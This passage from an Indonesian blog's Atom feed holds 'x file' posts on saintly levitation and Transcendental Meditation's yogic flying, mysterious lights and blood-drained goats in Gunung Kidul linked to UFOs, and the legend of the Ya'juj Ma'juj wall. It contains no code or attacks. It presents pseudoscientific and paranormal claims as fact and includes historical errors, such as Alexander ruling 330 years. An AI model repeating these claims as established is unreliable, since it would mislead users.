temurun. Di seluruh dunia, sejak jaman dahulu kala sampai  sekarang, kita sering menemukan cerita tentang orang yang benar-benar  dapat terbang. Cerita paling tua dan paling detail gambarannya datang  dari tadisi Vedic kuno, dimana melayang-layang dan terbang merupakan  salah satu keahlian yang dapat dikembangkan oleh para manusia.&lt;br /&gt;&lt;br /&gt;Sementara itu di Eropa, levitation (terbang/mengambang) dimiliki oleh  200 orang suci, dan ini biasa disebut sebagai keajaiban dalam tradisi  Katolik Romawi.&lt;br /&gt;&lt;br /&gt;Salah satu contoh terbaik adalah St. Joseph dari Copertino, orang suci  dari Italia di abad 17. Lebih dari seratus penerbangan (tanpa pesawat  tentunya) tercatat secara resmi selama hidupnya. Sebagai gambaran ,  bagaikan suara yang merdu, dia akan terbang tinggi ke udara, mengitari  langit-langit gereja dan melayang di udara, kadang-kadang selama lima  belas menit, kadang-kadang selama dua jam, dan banyak orang yang  menyaksikan hal itu. Saat ini St. Joseph dari Copertino adalah salah  satu orang yang dapat terbang di udara.&lt;br /&gt;&lt;br /&gt;&lt;img alt="" border="0" src="http://u.kaskus.us/24/ehxv3noh.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Pada abad pertama, ahli filosofi Yunani, Saint Apollonius dari Tyana  pergi ke India, disana dia melaporkan bahwa dia melihat para Brahmins  (pendeta) “Mereka mengambang sampai hampir satu meter diatas tanah.”  Sebagian besar para ahli sejarah mengatakan bahwa ceritanya itu murni  sebuah fantasi. Tetapi Ernest Wood, seorang penulis Inggris yang  menuliskan filosofi Ketimuran, melaporkan hal yang sama saat dia pergi  ke India dan ini hanya beberapa dekade yang lalu. “Saya ingat pada suatu  kesempatan ketika seorang yogi (ahli yoga) tua sedang melayang di udara  dalam postur tubuh terlentang sekitar 1.8 meter di udara terbuka,  sekitar setengah jam, sementara para pendatang dipersilahkan untuk  melewatkan gagang pada jarak antara tanah dan orang tersebut…Mengambang  atau menaikan tubuh dari atas tanah dan melayang beberapa kaki di udara  diatas tempat duduk atau sofa adalah…suatu fakta yang secara universal  sudah diterima di India.”&lt;br /&gt;&lt;br /&gt;Apakah Yoga Terbang itu mungkin? Bagaimana seorang manusia dapat  melayang atau terbang di udara menentang hukum gravitasi? Yoga Terbang  atau yang biasa disebut yogic flying melihat semua potensi manusia dalam  pandangan yang baru, memperluas pemikiran tentang apa yang dapat  dicapai oleh seorang manusia, melihat dengan gaya baru tentang hubungan  antara pikiran manusia dan alam semesta.&lt;br /&gt;&lt;br /&gt;Dalam beberapa tahun terakhir, quantum fisika telah mengidentifikasikan  bagian yang paling fundamental atau dasar dari rahasia alam, semua  bagian dari hukum alam dimana semua hukum alam termasuk kekuatan  gravitasi, dibahas. Hukum alam ini menjelaskan semua bentuk dan segala  fenomena yang terjadi di alam semesta, termasuk pikiran dan tubuh  manusia.&lt;br /&gt;&lt;br /&gt;Pengertian tentang Vedic kuno yang dibawa oleh Maharishi telah membawa  pencerahan dan lebih, dengan mengidentifikasikan bagian yang universal  ini sebagai bagian dari kesadaran murni tak terbatas. Sejak kesadaran  manusia memiliki dasar dan sumber dari hukum alam yang paling dasar ini  adalah pikiran manusia dapat membuka pada semua level dari alam dan dari  situlah semua dapat berfungsi. Dengan berfungsi dari level yang paling  dasar, kita dapat memerintahkan secara total potensi alam pada diri  kita. Kita dapat meraih pengetahuan untuk mengetahui semua hal,  melakukan semua hal dan menyelesaikan semua hal. Semua tidak ada yang  mustahil. Potensi kita tidak terbatas.&lt;br /&gt;&lt;br /&gt;Teknik Meditasi Transcendental membuat kita membuka pikiran kita untuk  tenang dan merasakan kesadaran murni, semua hukum alam, dalam kesadaran  kita sendiri. Yogic Flying adalah sebagian kecil dari program tersebut,  membiarkan pikiran kita untuk berpikir dan bereaksi pada hukum alam yang  paling dasar tersebut.&lt;br /&gt;&lt;br /&gt;Karena itu Yogic Flying tidak menentang hukum gravitasi atau hukum alam  manapun. Hal itu memperbolehkan kita untuk mengakses dan menghidupkan  potensi total dari hukum alam yang hidup dalam diri kita, membuka  simpanan energi dan kecerdasan kita untuk segala kemungkinan dan  menyelesaikan kegiatan hidup kita sehari-hari.&lt;br /&gt;&lt;br /&gt;Diseluruh dunia, manusia yang dapat terbang secara bervariasi dikatakan  telah berevolusi secara spiritual dalam kehidupan sosial mereka. Di  Eropa mereka disebut saints; di India disebut yogis; di Asia tenggara  disebut arahants; di Aborigin Australia disebut “clever men” atau  doctors. Banyak orang diceritakan dalam fabel, dongeng, legenda atau  mitos. Memberikan asumsi universal bahwa terbang itu sesuatu yang tidak  mungkin, tetapi kita harus yakin dengan kemampuan manusia, apa saja  menjadi mungkin.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1169174029307395439?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1169174029307395439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1169174029307395439'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/manusia-terbang.html' title='manusia terbang'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-2022638773661464273</id><published>2010-11-28T17:51:00.002+07:00</published><updated>2010-11-28T17:51:56.310+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>Pulung Gantung</title><content type='html'>&lt;b&gt;Pulung Gantung&lt;/b&gt; : &lt;br /&gt;&lt;i&gt;Fenomena Cattle Mutilations di Indonesia&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Cahaya-cahaya misterius yang kerap muncul dan berterbangan seperti ini kerap disebut sebagai "&lt;i&gt;Pulung Gantung&lt;/i&gt;" oleh Masyarakat Gunung Kidul , Yogyakarta&lt;br /&gt;&lt;br /&gt;Mitos pulung gantung di Gunung Kidul , Yogyakarta sampai sekarang tetap  ada. Pulung gantung dipercaya berbentuk seperti cahaya yang menakutkan  dan selalu memakan korban manusia dan hewan piaraan warga di sekitar  kaki Gunung Kidul. Ada yang mengkaitkan dengan sosok Banaspati? Apa  sebenarnya mitos pulung gantung tersebut? Apakah cahaya aneh yang muncul  itu sebenarnya adalah UFO?&lt;br /&gt;&lt;br /&gt;Biasanya cahaya aneh itu muncul pada malam hari. Di mana cahaya itu  muncul dan menghilang, dipercaya akan terjadi mala petaka berupa  kematian atau tragedi lainnya. Misteri ini merebak kembali dengan wujud  yang berbeda. Kali ini ratusan kambing milik masyarakat di kaki Gunung  Kidul ditemukan tewas. Ulah siapakah ini?&lt;br /&gt;&lt;br /&gt;Tabloid Posmo pernah mengulas mengenai hal ini dari sudut pandang  paranormal. Memang ada pro dan kontra tentang keberadaan pulung kematian  ini. Sebagian kaum muda dan modernis menolaknya. Selebihnya, terutama  golongan sepuh, spiritualis, dan pengikut ajaran banyak yang mempercayai  sebagai keadaan yang buruk. Dipercaya bahwa cahaya pulung yang muncul  akan diikuti dengan peristiwa yang menyedihkan. Lalu bagaimana wujud  sebenarnya pulung maut ini?&lt;br /&gt;&lt;br /&gt;Tak banyak tokoh spiritual, budaya, apalagi masyarakat awam yang bisa  menggambarkan dengan jelas wujud pulung itu. Hanya tradisi lisan yang  turun-temurunlah yang menyebut, ia berupa cahaya. Seperti meteor yang  jatuh ke bumi, berwarna merah menyala, terang menyilaukan.&lt;br /&gt;Saat cahaya itu muncul dan tiba di sebuah tempat atau desa maka cahaya  itu makin membesar dan jatuh menghilang. Cahaya pulung ini akan bisa  dilihat dengan mata telanjang dari kejauhan.&lt;br /&gt;Karena gampang dilihat inilah masyarakat sudah bisa menebak, di mana  cahaya maut itu menghilang. Maka keesokan harinya merebak kabar buruk.&lt;br /&gt;&lt;br /&gt;Pulung gantung di Gunung Kidul berwujud cahaya hijau kemerah-merahan. Cahaya itu biasanya meluncur dan jatuh meneror manusia.&lt;br /&gt;Munculnya saat sekitar pukul 20.00 WIB, ketika umumnya anak-anak sudah  tidur lelap. Cahaya ini dikatakan simbol kematian dan maut, diyakini  pulung ini mentranformasikan diri sebagai pendorong tindakan nekat.  Apakah ada semacam proses pengendalian pikiran (mind control) atau  seperti yang terjadi di luar negeri, bahwa hal itu ada hubungannya  dengan fenomena UFO?&lt;br /&gt;&lt;br /&gt;Lebih jauh lagi, keanehan yang terjadi di kawasan Gunung Kidul ini  ditambah lagi dengan matinya sejumlah ternak dengan cara yang aneh.  Mulanya masyarakat Gunung Kidul menganggap petaka ini hanya kejadian  biasa. Bahkan, ratusan kambing yang mati itu diduga akibat dimakan  serigala hutan.&lt;br /&gt;Namun, sekarang ini warga mulai curiga dan menyebut-nyebut adanya makhluk yang mereka anggap gaib dan disebut sebagai banaspati.&lt;br /&gt;Menurut kepercayaan, makhluk itu bisa berwujud anjing-anjing liar atau  banaspati muncul di malam hari dan sulit ditangkap karena bisa  menghilang secepat kilat.&lt;br /&gt;&lt;br /&gt;Peristiwa menyedihkan ini melanda Kelurahan Giri Mulyo, Giri Wungu, Giri  Sekar, dan Kelurahan Giri Purwo Kecamatan Panggang. Sekitar Mei 2001,  sedikitnya dilaporkan 200 ekor kambing telah jadi korban.  Kambing-kambing ini lebih dulu diterkam, dihisap darahnya,dan diambil  hatinya.&lt;br /&gt;Umumnya makhluk itu mengincar darahnya saja. Tak hanya kambing, anak  sapi juga menjadi incaran. Namun umumnya masih dapat diselamatkan.  Biasanya kambing yang jadi korban akan habis tanpa sisa. Semua dibunuh  dan dihisap darahnya sampai habis.&lt;br /&gt;Kadang hanya disisakan kepala atau kakinya saja. Terlihat betapa liar  dan hausnya makhluk misterius ini, hingga dikandang kambing itu tak ada  ceceran darah setetes pun. Warga setempat menganggap ini benar-benar  aneh.&lt;br /&gt;&lt;br /&gt;Kalau kita mempelajari masalah UFO dan alien, maka mau tidak mau kita  akan berpikir bahwa kasus ini mirip dengan Chupacabras atau mutilasi  hewan (animal mutilation/cattle mutilations) yang juga dikaitkan dengan  kehadiran UFO. Dari data-data yang ada, munculnya cahaya aneh di langit  yang dianggap sebagai pulung, bisa dianggap hal itu merupakan pemunculan  UFO. Secara umum, fenomena yang ada mempunyai kemiripan. Hanya saja,  masyarakat kita menganggap hal ini berhubungan dengan makhluk gaib atau  siluman. Sebagian menyebutnya sebagai siluman gandrong/gerandong.&lt;br /&gt;&lt;br /&gt;Lalu benarkah anjing hutan yang menjadi biang keladi dari rentetan  kejadian misterius ini? Kalangan spiritual dan tokoh-tokoh sepuh di  Gunung Kidul menolaknya. Karena kalau hanya hewan biasa tentu tak akan  bersifat musiman. Bisa setiap bulan. Karena sebagai tradisi masyarakat  Gunung Kidul, punya kandang di tengah hutan dan pinggir pantai. Tentu  saja, kalau ini ulah hewan liar pasti setiap saat akan menyerang kandang  yang tak pernah dijaga itu.&lt;br /&gt;&lt;br /&gt;Satu lagi fenomena pembunuhan ternak secara misterius dan tak wajar yang  sempat menggegerkan kota Sleman , Yogyakarta beberapa waktu yang lalu.&lt;br /&gt;&lt;br /&gt;Sleman, Tribun - Usai heboh gempa dan tsunami, Daerah Istimewa  Yogyakarta digegerkan oleh kejadian aneh. Binatang buas yang belum  diketahui jenisnya menyerang ternak milik warga di Dusun Sompilan,  Tegaltirto, Berbah, Sleman, DI Yogyakarta, Sabtu (23/9).&lt;br /&gt;&lt;br /&gt;Binatang buas itu membunuh delapan ekor kambing dan 14 ekor mentok  dengan mengisap darahnya, tapi tidak memakan dagingnya. Pada leher  ternak yang mati ditemukan dua lubang bekas gigitan taring binatang  buas.&lt;br /&gt;&lt;br /&gt;Serangan itu terjadi di kandang kelompok Lembu Manunggal di sebelah  barat permukiman. Kandang di lembah Sungai Kucir itu digunakan warga  untuk 35 ekor sapi, 29 ekor kambing, ayam, dan mentok.&lt;br /&gt;&lt;br /&gt;Kambing yang menjadi korban milik Giman (3 ekor), Bayu Waskito (3 ekor),  Sugeng (1 ekor), dan Toko (1 ekor). Ternak yang menjadi korban semuanya  berada di luar kandang karena bangunan kandang ambruk diguncang gempa,  27 Mei lalu. Serangan ini baru diketahui warga pukul 05.00.&lt;br /&gt;&lt;br /&gt;"&lt;i&gt;&lt;span style="color: red;"&gt;Saat akan memberi makan sapi, saya melihat tiga  ekor kambing saya rebah di tanah. Kemudian saya dekati dan ternyata  kambing saya sudah mati. Pada leher kambing terdapat dua lubang bekas  gigitan taring binatang. Yang membuat saya heran, kenapa tidak ada bekas  tetesan darah dan kambing tidak dimakan,&lt;/span&gt;&lt;/i&gt;" kata Giman, anggota Lembu Manunggal, Sabtu.&lt;br /&gt;&lt;br /&gt;Giman mengatakan, serangan ini memupus rencananya untuk memperbaiki  rumahnya yang roboh diguncang gempa. Seekor kambing dihargai Rp 300.000.  Rencananya tiga ekor kambing itu dijual untuk membeli semen. &lt;i&gt;&lt;span style="color: red;"&gt;"Saya sungguh buntung (rugi), karena tidak ada yang bisa dijual. Harapan saya tinggal seekor anak sapi,"&lt;/span&gt;&lt;/i&gt; kata Giman lesu.&lt;br /&gt;&lt;br /&gt;Di sekitar kambing yang mati, warga tidak menemukan bekas darah.  Demikian juga 14 ekor ternak mentok milik Wagimin yang diisap darahnya.  Warga juga menemukan bulu angsa berserakan di seberang Sungai Kucir,  tetapi tidak ada bekas darah dan sisa-sisa daging yang dimakan.&lt;br /&gt;&lt;br /&gt;Jejak yang ditemukan warga menunjukkan jejak kaki binatang berkuku  tajam. Jejak itu seukuran telapak tangan orang dewasa dengan jari-jari  merapat. Jejak itu tidak bisa menunjukkan arah datang dan perginya  binatang buas itu. &lt;i&gt;&lt;span style="color: red;"&gt;"Kejadian ini baru pertama terjadi di sini,"&lt;/span&gt;&lt;/i&gt; kata Udi Wiharjo, Ketua Kelompok Lembu Manunggal.&lt;br /&gt;&lt;br /&gt;Warga menduga binatang buas ini berasal dari Gunung Merapi yang mencari  tempat aman saat terjadi erupsi. Dugaan ini kurang didukung fakta karena  antara Dusun Sompilan dan Gunung Merapi berjarak 30 km. Kemungkinan  kedua, binatang buas itu berasal dari perbukitan karst Gunung Sewu di  sisi timur dusun. Perbukitan itu berjarak 5 km dari Dusun Sompilan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-2022638773661464273?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2022638773661464273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/2022638773661464273'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/pulung-gantung.html' title='Pulung Gantung'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4496499455212030682</id><published>2010-11-28T17:41:00.002+07:00</published><updated>2010-11-28T17:41:20.447+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>MISTERI TEMBOK YA'JUJ MA'JUJ</title><content type='html'>&lt;b&gt;MISTERI TEMBOK YA'JUJ MA'JUJ&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;“Mereka berkata; &lt;i&gt;“Hai Dzulkarnain, sesungguhnya Ya-juj dan Ma-juj itu  orang-orang yang membuat kerusakan di muka bumi, maka dapatkah kami  memberikan sesuatu pembayaran kepadamu, supaya kamu membuat dinding  antara kami dan mereka ?”&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;QS. Al-Anbiya: 96&lt;/b&gt;&lt;br /&gt;“Hingga apabila dibukakan (tembok) Ya-juj dan Ma-juj, dan mereka turun  dengan cepat dari seluruh tempat yang tinggi. Dan telah dekatlah  kedatangan janji yang benar (Hari berbangkit), maka tiba-tiba  terbelalaklah mata orang-orang yang kafir. (Mereka berkata); “Aduhai  celakalah kami, sesungguhnya kami adalah dalam kelalaian tentang ini,  bahkan kami adalah orang-orang yang zhalim.”&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ya-juj dan Ma-juj dalam Hadits&lt;/b&gt;&lt;br /&gt;Dari Zainab Binti Jahsh -isteri Nabi SAW, berkata;&lt;br /&gt;“Nabi SAW bangun dari tidurnya dengan wajah memerah, kemudian bersabda;  “Tiada Tuhan selain Allah, celakalah bagi Arab dari kejahatan yang telah  dekat pada hari kiamat, (yaitu) Telah dibukanya penutup Ya-juj dan  Ma-juj seperti ini !” beliau melingkarkan jari tangannya. (Dalam riwayat  lain tangannya membentuk isyarat 70 atau 90), Aku bertanya; “Ya  Rasulullah SAW, apakah kita akan dihancurkan walaupun ada orang-orang  shalih ?” Beliau menjawab; “Ya, Jika banyak kejelekan.”&lt;br /&gt;(HR. Ahmad, Al-Bukhari dan Muslim)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Jenis dan Asal Usul Ya-juj dan Ma-juj dalam QS. Al-Kahfi : 94&lt;/b&gt;&lt;br /&gt;Ya-juj dan Ma-juj menurut ahli lughah ada yang menyebut isim musytaq  (memiliki akar kata dari bhs. Arab) berasal dari AJAJA AN-NAR artinya  jilatan api. Atau dari AL-AJJAH (bercampur/sangat panas), al-Ajju (cepat  bermusuhan), Al-Ijajah (air yang memancar keras) dengan wazan MAF’UL  dan YAF’UL / FA’UL. Menurut Abu Hatim, Ma-juj berasal dari MAJA yaitu  kekacauan. Ma-juj berasal dari Mu-juj yaitu Malaja. Namun, menurut  pendapat yang shahih, Ya-juj dan Ma-juj bukan isim musytaq tapi  merupakan isim ‘Ajam dan Laqab (julukan).&lt;br /&gt;Para ulama sepakat, bahwa Ya-juj dan Ma-juj termasuk spesies manusia.  Mereka berbeda dalam menentukan siapa nenek moyangnya. Ada yang  menyebutkan dari sulbi Adam AS dan Hawa atau dari Adam AS saja. Ada pula  yang menyebut dari sulbi Nabi Nuh AS dari keturunan Syis/At-Turk  menurut hadits Ibnu Katsir. Sebagaimana dijelaskan dalam tarikh, Nabi  Nuh AS mempunyai tiga anak, Sam, Ham, Syis/At-Turk. Ada lagi yang  menyebut keturunan dari Yafuts Bin Nuh. Menurut Al-Maraghi, Ya-juj dan  Ma-juj berasal dari satu ayah yaitu Turk, Ya-juj adalah At-Tatar  (Tartar) dan Ma-juj adalah Al-Maghul (Mongol), namun keterangan ini  tidak kuat. Mereka tinggal di Asia bagian Timur dan menguasai dari  Tibet, China sampai Turkistan Barat dan Tamujin.&lt;br /&gt;&lt;br /&gt;Mereka dikenal sebagai Jengis Khan (berarti Raja Dunia) pada abad ke-7 H  di Asia Tengah dan menaklukan Cina Timur. Ditaklukan oleh Quthbuddin  Bin Armilan dari Raja Khuwarizmi yang diteruskan oleh anaknya Aqthay.  “Batu” anak saudaranya menukar dengan negara Rusia tahun 723 H dan  menghancurkan Babilon dan Hongaria. Kemudian digantikan Jaluk dan  dijajah Romawi dengan menggantikan anak saudaranya Manju, diganti  saudaranya Kilay yang menaklukan Cina. Saudaranya Hulako menundukan  negara Islam dan menjatuhkan Bagdad pada masa daulah Abasia ketika  dipimpin Khalifah Al-Mu’tashim Billah pertengahan abad ke-7 H / 656 H.&lt;br /&gt;&lt;br /&gt;Ya-juj dan Ma-juj adalah kaum yang banyak keturunannya.Menurut mitos,  mereka tidak mati sebelum melihat seribu anak lelakinya membawa senjata.  Mereka taat pada peraturan masyarakat, adab dan pemimpinnya. Ada yang  menyebut mereka berperawakan sangat tinggi sampai beberapa meter dan ada  yang sangat pendek sampai beberapa centimeter. Konon, telinga mereka  panjang, tapi ini tidak berdasar.&lt;br /&gt;&lt;br /&gt;Pada QS. Al-Kahfi:94, Ya-juj dan Ma-juj adalah kaum yang kasar dan  biadab. Jika mereka melewati perkampungan, membabad semua yang  menghalangi dan merusak atau bila perlu membunuh penduduk. Karenya,  ketika Dzulkarnain datang, mereka minta dibuatkan benteng agar mereka  tidak dapat menembus dan mengusik ketenangan penduduk.&lt;br /&gt;&lt;br /&gt;Siapakah Dzulkarnain ? Menurut versi Barat, Dzulkarnain adalah Iskandar  Bin Philips Al-Maqduny Al-Yunany (orang Mecedonia, Yunani). Ia berkuasa  selama 330 tahun. Membangun Iskandariah dan murid Aristoteles. Memerangi  Persia dan menikahi puterinya. Mengadakan ekspansi ke India dan  menaklukan Mesir. Menurut Asy-Syaukany, pendapat di atas sulit diterima,  karena hal ini mengisyaratkan ia seorang kafir dan filosof. Sedangkan  al-Quran menyebutkan; “Kami (Allah) mengokohkannya di bumi dan Kami  memberikan kepadanya sebab segala sesuatu.” Menurut sejarawan muslim  Dzulkarnain adalah julukan Abu Karb Al-Himyari atau Abu Bakar Bin  Ifraiqisy dari daulah Al-Jumairiyah (115 SM - 552 M.).&lt;br /&gt;Kerajaannya disebut At-Tababi’ah. Dijuluki Dzulkarnain (Pemilik dua  tanduk), karena kekuasaannya yang sangat luas, mulai ujung tanduk  matahari di Barat sampai Timur. Menurut Ibnu Abbas, ia adalah seorang  raja yang shalih.&lt;br /&gt;&lt;br /&gt;Ia seorang pengembara dan ketika sampai di antara dua gunung antara  Armenia dan Azzarbaijan. Atas permintaan penduduk, Dzulkarnain membangun  benteng. Para arkeolog menemukan benteng tersebut pada awal abad ke-15  M, di belakang Jeihun dalam ekspedisi Balkh dan disebut sebagai “Babul  Hadid” (Pintu Besi) di dekat Tarmidz. Timurleng pernah melewatinya, juga  Syah Rukh dan ilmuwan German Slade Verger. Arkeolog Spanyol Klapigeo  pada tahun 1403 H. Pernah diutus oleh Raja Qisythalah di Andalus ke sana  dan bertamu pada Timurleng. “Babul Hadid” adalah jalan penghubung  antara Samarqindi dan India.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;BENARKAH TEMBOK CINA ADALAH TEMBOK Zulkarnain ?&lt;/b&gt;&lt;br /&gt;Banyak orang menyangka itulah tembok yang dibuat oleh Zulkarnain dalam  surat Al Kahfi. Dan yang disebut Ya’juj dan Ma’juj adalah bangsa Mongol  dari Utara yang merusak dan menghancurkan negeri-negeri yang mereka  taklukkan. Mari kita cermati kelanjutan surat Al Kahfi ayat 95-98  tentang itu.&lt;br /&gt;Zulkarnain memenuhi permintaan penduduk setempat untuk membuatkan tembok  pembatas. Dia meminta bijih besi dicurahkan ke lembah antara dua bukit.  Lalu minta api dinyalakan sampai besi mencair. Maka jadilah tembok  logam yang licin tidak bisa dipanjat.&lt;br /&gt;Ada tiga hal yang berbeda antara Tembok Cina dan Tembok Zulkarnain.  Pertama, tembok Cina terbuat dari batu-batu besar yang disusun, bukan  dari besi. Kedua, tembok itu dibangun bertahap selama ratusan tahun oleh  raja-raja Dinasti Han, Ming, dst. Sambung-menyambung. Ketiga, dalam Al  Kahfi ayat 86, ketika bertemu dengan suatu kaum di Barat, Allah  berfirman,&lt;br /&gt;&lt;br /&gt;“Wahai Zulkarnain, terserah padamu apakah akan engkau siksa kaum itu  atau engkau berikan kebaikan pada mereka.” Artinya, Zulkarnain mendapat  wahyu langsung dari Tuhan, sedangkan raja-raja Cina itu tidak. Maka  jelaslah bahwa tembok Cina bukan yang dimaksud dalam surat Al Kahfi.  Jadi di manakan tembok Zulkarnain?&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BEBERAPA PENELITIAN TEMBOK YA’JUJ&lt;/b&gt;&lt;br /&gt;Abdullah Yusuf Ali dalam tafsir The Holy Qur’an menulis bahwa di distrik  Hissar, Uzbekistan, 240 km di sebelah tenggara Bukhara, ada celah  sempit di antara gunung-gunung batu. Letaknya di jalur utama antara  Turkestan ke India dengan ordinat 38oN dan 67oE. Tempat itu kini bernama  buzghol-khana dalam bahasa Turki, tetapi dulu nama Arabnya adalah bab  al hadid. Orang Persia menyebutnya dar-i-ahani. Orang Cina menamakannya  tie-men-kuan. Semuanya bermakna pintu gerbang besi.&lt;br /&gt;&lt;br /&gt;Hiouen Tsiang, seorang pengembara Cina pernah melewati pintu berlapis  besi itu dalam perjalanannya ke India di abad ke-7. Tidak jauh dari sana  ada danau yang dinamakan Iskandar Kul. Di tahun 842 Khalifah Bani  Abbasiyah, al-Watsiq, mengutus sebuah tim ekspedisi ke gerbang besi  tadi. Mereka masih mendapati gerbang di antara gunung selebar 137 m  dengan kolom besar di kiri kanan terbuat dari balok-balok besi yang  dicor dengan cairan tembaga, tempat bergantung daun pintu raksasa.  Persis seperti bunyi surat Al Kahfi. Pada Perang Dunia II, konon Winston  Churchill, pemimpin Inggris, mengenali gerbang besi itu.&lt;br /&gt;&lt;br /&gt;Apa pun tentang keberadaan dinding penutup tersebut, ia memang terbukti  ada sampai sekarang di Azerbaijan dan Armenia. Tepatnya ada di  perunungan yang sangat tinggi dan sangat keras. Ia berdiri tegak  seolah-olah diapit oleh dua buah tembok yang sangat tinggi. Tempat itu  tercantum pada peta-peta Islam mahupun Rusia, terletak di republik  Georgia.&lt;br /&gt;Al-Syarif al-Idrisi menegaskan hal itu melalui riwayat penelitian yang  dilakukan Sallam, staf peneliti pada masa Khalifah al-Watsiq Billah  (Abbasiah). Konon, Al-Watsiq pernah bermimpi tembok penghalang yang  dibangun Iskandar Dzul Qarnain untuk memenjarakan Ya’juj-Ma’juj terbuka.&lt;br /&gt;&lt;br /&gt;Mimpi itu mendorong Khalifah untuk mengetahui perihal tembok itu saat  itu, juga lokasi pastinya. Al-Watsiq menginstruksikan kepada Sallam  untuk mencari tahu tentang tembok itu. Saat itu sallam ditemani 50  orang. Penelitian tersebut memakan biaya besar. Tersebut dalam Nuzhat  al-Musytaq, buku geografi, karya al-Idrisi, Al-Watsiq mengeluarkan biaya  5000 dinar untuk penelitian ini.&lt;br /&gt;&lt;br /&gt;Rombongan Sallam berangkat ke Armenia. Di situ ia menemui Ishaq bin  Ismail, penguasa Armenia. Dari Armenia ia berangkat lagi ke arah utara  ke daerah-daerah Rusia. Ia membawa surat dari Ishaq ke penguasa Sarir,  lalu ke Raja Lan, lalu ke penguasa Faylan (nama-nama daerah ini tidak  dikenal sekarang). Penguasa Faylan mengutus lima penunjuk jalan untuk  membantu Sallam sampai ke pegunungan Ya’juj-Ma’juj.&lt;br /&gt;27 hari Sallam mengarungi puing-puing daerah Basjarat. Ia kemudian tiba  di sebuah daerah luas bertanah hitam berbau tidak enak. Selama 10 hari,  Sallam melewati daerah yang menyesakkan itu. Ia kemudian tiba di wilayah  berantakan, tak berpenghuni. Penunjuk jalan mengatakan kepada Sallam  bahwa daerah itu adalah daerah yang dihancurkan oleh Ya’juj-Ma’juj tempo  dulu. Selama 6 hari, berjalan menuju daerah benteng. Daerah itu  berpenghuni dan berada di balik gunung tempat Ya’juj-Ma’juj berada.&lt;br /&gt;Sallam kemudian pergi menuju pegunungan Ya’juj-Ma’juj. Di situ ia  melihat pegunungan yang terpisah lembah. Luas lembah sekitar 150 meter.  Lembah ini ditutup tembok berpintu besi sekitar 50 meter.&lt;br /&gt;&lt;br /&gt;Dalam Nuzhat al-Musytaq, gambaran Sallam tentang tembok dan pintu besi  itu disebutkan dengan sangat detail (Anda yang ingin tahu bentuk  detailnya, silakan baca: Muzhat al-Musytaq fi Ikhtiraq al-Afaq, karya  al-Syarif al-Idrisi, hal. 934 -938).&lt;br /&gt;&lt;br /&gt;Al-Idrisi juga menceritakan bahwa menurut cerita Sallam penduduk di  sekitar pegunungan biasanya memukul kunci pintu besi 3 kali dalam  sehari. Setelah itu mereka menempelkan telinganya ke pintu untuk  mendengarkan reaksi dari dalam pintu. Ternyata, mereka mendengar gema  teriakan dari dalam. Hal itu menunjukkan bahwa di dalam pintu  betul-betul ada makhluk jenis manusia yang konon Ya’juj-Ma’juj itu.&lt;br /&gt;&lt;br /&gt;Ya’juj-Ma’juj sendiri, menurut penuturan al-Syarif al-Idrisi dalam  Nuzhat al-Musytaq, adalah dua suku keturunan Sam bin Nuh. Mereka sering  mengganggu, menyerbu, membunuh, suku-suku lain. Mereka pembuat onar, dan  sering menghancurkan suatu daerah. Masyarakat mengadukan kelakuan suku  Ya’juj dan Ma’juj kepada Iskandar Dzul Qarnain, Raja Macedonia. Iskandar  kemudian menggiring (mengusir) mereka ke sebuah pegunungan, lalu  menutupnya dengan tembok dan pintu besi.&lt;br /&gt;&lt;br /&gt;Menjelang Kiamat nanti, pintu itu akan jebol. Mereka keluar dan membuat onar dunia, sampai turunnya Nabi Isa al-Masih.&lt;br /&gt;&lt;br /&gt;Dalam Nuzhat al-Musytaq, al-Syarif al-Idrisi juga menuturkan bahwa  Sallam pernah bertanya kepada penduduk sekitar pegunungan, apakah ada  yang pernah melihat Ya’juj-Ma’juj. Mereka mengaku pernah melihat  gerombolan orang di atas tembok penutup. Lalu angin badai bertiup  melemparkan mereka. Penduduk di situ melihat tubuh mereka sangat kecil.  Setelah itu, Sallam pulang melalui Taraz (Kazakhtan), kemudian Samarkand  (Uzbekistan), lalu kota Ray (Iran), dan kembali ke istana al-Watsiq di  Surra Man Ra’a, Iraq. Ia kemudian menceritakan dengan detail hasil  penelitiannya kepada Khalifah.&lt;br /&gt;Kalau menurut penuturan Ibnu Bathuthah dalam kitab Rahlat Ibn Bathuthah  pegunungan Ya’juj-Ma’juj berada sekitar perjalanan 6 hari dari Cina.  Penuturan ini tidak bertentangan dengan al-Syarif al-Idrisi. Soalnya di  sebelah Barat Laut Cina adalah daerah-daerah Rusia.&lt;br 